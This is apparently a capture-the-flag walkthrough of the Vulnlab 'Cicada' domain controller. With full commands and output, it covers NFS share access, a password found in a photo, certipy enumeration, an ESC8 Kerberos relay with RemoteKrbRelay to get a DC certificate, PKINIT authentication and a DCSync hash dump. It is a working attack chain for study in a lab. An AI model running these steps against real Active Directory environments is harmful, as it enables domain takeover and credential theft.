VL Cicada
Cicada is a medium-difficulty machine on Vulnlab that involves exploiting ESC8 via Kerberos relaying in order to bypass self-relay restrictions.
Enumeration
Port scan:
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Nmap scan report for 10.10.104.125
Host is up (0.025s latency).
Not shown: 984 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-04 08:51:28Z)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
We see that we are dealing with a domain controller, that there is a web server on port 80 and that there is NFS running. Let’s check out NFS first.
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showmount -e 10.10.104.125
Export list for 10.10.104.125:
/profiles (everyone)
We mount the directory to check the contents and eventually find some images:
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mkdir share
sudo mount -t nfs -o rw,vers=4 10.10.104.125:/profiles $PWD/share
ls -lahR share | grep -B5 png
share/Administrator:
total 1,5M
drwxrwxrwx 2 nobody nogroup 64 Sep 15 15:25 .
drwxrwxrwx 2 nobody nogroup 4,0K Sep 15 15:18 ..
drwx------ 2 nobody nogroup 64 Sep 15 15:25 Documents
-rwxrwxrwx 1 nobody nogroup 1,5M Sep 13 18:12 vacation.png
share/Rosie.Powell:
total 1,8M
drwxrwxrwx 2 nobody nogroup 64 Sep 15 15:25 .
drwxrwxrwx 2 nobody nogroup 4,0K Sep 15 15:18 ..
drwx------ 2 nobody nogroup 64 Sep 15 15:25 Documents
-rwx------ 1 nobody nogroup 1,8M Sep 13 18:09 marketing.png
After downloading the images, we find one is of an employee that has a note with a password on their desk. We try to authenticate with the credentials:
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nxc smb 10.10.104.125 -u 'rosie.powell' -p '***'
SMB 10.10.104.125 445 10.10.104.125 [*] x64 (name:10.10.104.125) (domain:10.10.104.125) (signing:True) (SMBv1:False)
SMB 10.10.104.125 445 10.10.104.125 [-] 10.10.104.125\rosie.powell:*** STATUS_NOT_SUPPORTED
This shows STATUS_NOT_SUPPORTED which is the case because NTLM is not enabled on this domain. In order to get around this, we can authenticate with Kerberos instead (which needs the FQDN instead of the IP, so you will need to add it your hosts file or use the machines DNS server):
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nxc smb dc-jpq225.cicada.vl -u 'rosie.powell' -p '***' -k
SMB dc-jpq225.cicada.vl 445 dc-jpq225 [*] x64 (name:dc-jpq225) (domain:cicada.vl) (signing:True) (SMBv1:False)
SMB dc-jpq225.cicada.vl 445 dc-jpq225 [+] cicada.vl\rosie.powell:***
Now the credentials show as valid. At this point we can do some more enumeration like collecting bloodhound data, looking at shares and manually going through LDAP. In this case, it won’t really help though.
The web server on port 80 has just the default IIS page, but if we check /certsrv/ we note that this is the endpoint for the ADCS web enrollment. Without checking the web server, you’d also get this information from certipy:
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getTGT.py cicada.vl/rosie.powell:'***' -dc-ip 10.10.104.125
export KRB5CCNAME=rosie.powell.ccache
certipy find -k -no-pass -ns 10.10.104.125 -debug -dc-ip dc-jpq225.cicada.vl
...
[*] Saved text output to '20241004135207_Certipy.txt'
[*] Saved JSON output to '20241004135207_Certipy.json'
cat 20241004135207_Certipy.txt
...
Certificate Authorities
0
CA Name : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Certificate Subject : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
Certificate Serial Number : 66D35978EDC54F9A492AC71194832260
Certificate Validity Start : 2024-10-04 08:43:06+00:00
Certificate Validity End : 2524-10-04 08:53:06+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CICADA.VL\Administrators
Access Rights
ManageCertificates : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
ManageCa : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
...
If the web enrollment is active and no extra mitigation steps have been taken, it can be exploited by relaying the authentication of a privileged machine (for example a domain controller) to it. This is a pretty common vulnerability and widely known as ESC8. Usually this needs at least 2 machines, where you would relay a domain controller via your own attacker controlled machine to the web endpoint on the CA. Relaying back to the same machine shouldn’t be possible due to self-relay mitigations that have been introduced quite a while ago.
Recent research has shown, that it is still possible to do in this case by relaying Kerberos instead of NTLM.
The attack has been automated in KrbRemoteRelay by Cicada8 Research (hence the name of the machine). Since this runs on Windows and we only have one target machine available, we’ll use a Windows VM to perform the attack.
Since the machine account quota is 10, you could domain join your own Windows VM to run it, but it’s also sufficient to get a TGT & RPCSS TGS, inject it on a non-domain joined windows machine and then run the tool.
For the domain joined way, connect to the VPN and then make sure to set the DNS entry to the Cicada DC. It’s important to keep IPv6 enabled in the adapter or enable if its not yet the case.
Then join the machine to the domain using the credentials of Rosie Powell. After a restart, you can run the tool to get a certificate for the domain controller:
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RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogue COM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Authentication
[+] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082071f06...
[+] Got Krb Auth from NT/System. Relaying to ADCS now...
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, Confidentiality, UseDceStyle, Connection
[+] Received Kerberos Auth from dc-jpq225.cicada.vl with ticket on http/dc-jpq225.cicada.vl
[*] apRep2: 6f5b305...
[+] HTTP session established
[+] Cookie ASPSESSIONIDSSDRDQTA=IHPNGIODCGPMFFNKEE...; path=/
[+] Lets get certificate for "cicada.vl\dc-jpq225$" using "DomainController" template
[+] Success (ReqID: 17)
[+] Certificate in PKCS12: MIACAQ...
Save the resulting base64-encoded certificate on your Linux VM and swap back the VPN:
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echo -ne "MIACAQ..." | base64 -d > cert.p12
Now we can authenticate via PKINIT:
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certipy auth -pfx cert.p12 -dc-ip 10.10.104.125 -domain cicada.vl
export KRB5CCNAME=dc-jpq225.ccache
[*] Using principal: dc-jpq225$@cicada.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:***
We use the resulting ticket to perform a dcsync attack:
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export KRB5CCNAME=dc-jpq225.ccache
secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl -just-dc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0...
Finally you can get a ticket for the administrator user and then WinRM to the machine to read the flag.
If you want to do it without the domain join, you need to still run the VPN on Windows, setup the DNS and then request a TGT and a service ticket for RPCSS (otherwise you’d get “The RPC server is unavailable”):
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Rubeus.exe asktgt /user:rosie.powell /domain:cicada.vl /password:*** /dc:10.10.104.125 /ptt /nowrap
Rubeus.exe asktgs /service:RPCSS/dc-jpq225.cicada.vl /dc:10.10.104.125 /ptt /ticket:doI...
...
klist
#0> Client: rosie.powell @ CICADA.VL
Server: krbtgt/cicada.vl @ CICADA.VL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 10/4/2024 4:48:38 (local)
End Time: 10/4/2024 14:48:38 (local)
Renew Time: 10/11/2024 4:48:38 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
#1> Client: rosie.powell @ CICADA.VL
Server: RPCSS/dc-jpq225.cicada.vl @ CICADA.VL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 10/4/2024 4:48:56 (local)
End Time: 10/4/2024 14:48:38 (local)
Renew Time: 10/11/2024 4:48:38 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: